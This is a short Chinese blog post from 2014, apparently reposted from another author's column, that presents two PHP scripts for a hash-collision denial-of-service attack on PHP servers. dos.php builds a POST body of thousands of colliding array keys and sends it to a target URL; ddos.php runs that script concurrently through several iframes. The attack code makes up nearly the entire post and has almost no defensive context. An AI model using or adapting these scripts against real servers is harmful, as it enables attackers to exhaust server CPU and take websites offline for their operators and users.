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通过PHP的hash冲突漏洞进行DDoS攻击

2014-09-05

文件dos.php
// 目标地址
// 只要目标地址存在，不用管它是干嘛的
$host = 'http://127.0.0.1/test.php';

$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
     $data .= '&array[' . $key . ']=0';
}

$ret = curl($host, ltrim($data,'&'));
var_dump($ret);

function curl($url, $post, $timeout = 30){
     $ch = curl_init();
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
     curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
     curl_setopt($ch, CURLOPT_URL, $url);
     curl_setopt($ch, CURLOPT_POST, true);
     curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
     $output = curl_exec($ch);
     if ($output === false) return false;
     $info = curl_getinfo($ch);
     $http_code = $info['http_code'];
     if ($http_code == 404) return false;
     curl_close($ch);
     return $output;
}
文件ddos.php

[php]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>DDOS</title>
</head>

<body>
<?php
for($i=0; $i<5; $i++){//并发数
     echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';
}
?>
</body>
</html>

摘自chaojie2009的专栏